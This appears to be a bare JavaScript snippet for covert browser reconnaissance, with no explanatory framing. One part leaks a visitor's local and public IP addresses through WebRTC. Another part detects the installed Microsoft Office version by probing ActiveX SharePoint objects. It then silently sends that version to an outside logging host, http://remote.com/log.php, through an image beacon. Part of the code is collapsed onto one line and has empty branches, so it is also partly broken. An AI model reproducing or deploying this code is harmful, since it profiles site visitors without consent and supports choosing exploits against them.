//get the IP addresses associated with an account function getIPs(callback){ var ip_dups = {}; //compatibility for firefox and chrome var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{RtpDataChannels: true}] }; //firefox already has a default stun server in about:config // media.peerconnection.default_iceservers = // [{"url": "stun:stun.services.mozilla.com"}] var servers = undefined; //add same stun server for chrome if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; //construct a new RTCPeerConnection var pc = new RTCPeerConnection(servers, mediaConstraints); //listen for candidate events pc.onicecandidate = function(ice){ //skip non-candidate events if(ice.candidate){ //match just the IP address var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/ var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; //remove duplicates if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } }; //create a bogus data channel pc.createDataChannel(""); //create an offer sdp pc.createOffer(function(result){ //trigger the stun server request pc.setLocalDescription(result, function(){}, function(){}); }, function(){}); } //insert IP addresses into the page getIPs(function(ip){ var li = document.createElement("li"); li.textContent = ip; //local IPs if (ip.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/)) // do something with PRIVATE IPs //assume the rest are public IPs else // do something with PUBLIC IPs });
try { ma = new ActiveXObject("SharePoint.OpenDocuments.4") } catch (e) {}
try { mb = new ActiveXObject("SharePoint.OpenDocuments.3") } catch (e) {}
try { mc = new ActiveXObject("SharePoint.OpenDocuments.2") } catch (e) {}
try { md = new ActiveXObject("SharePoint.OpenDocuments.1") } catch (e) {}
var a = typeof ma; var b = typeof mb; var c = typeof mc; var d = typeof md; var key = "No Office Found";
if (a == "object" && b == "object" && c == "object" && d == "object") { key = "Office 2010" } if (a == "number" && b == "object" && c == "object" && d == "object") { key = "Office 2007" } if (a == "number" && b == "number" && c == "object" && d == "object") { key = "Office 2003" } if (a == "number" && b == "number" && c == "number" && d == "object") { key = "Office Xp" }
new Image().src = 'http://remote.com/log.php?office_version='+encodeURI(key);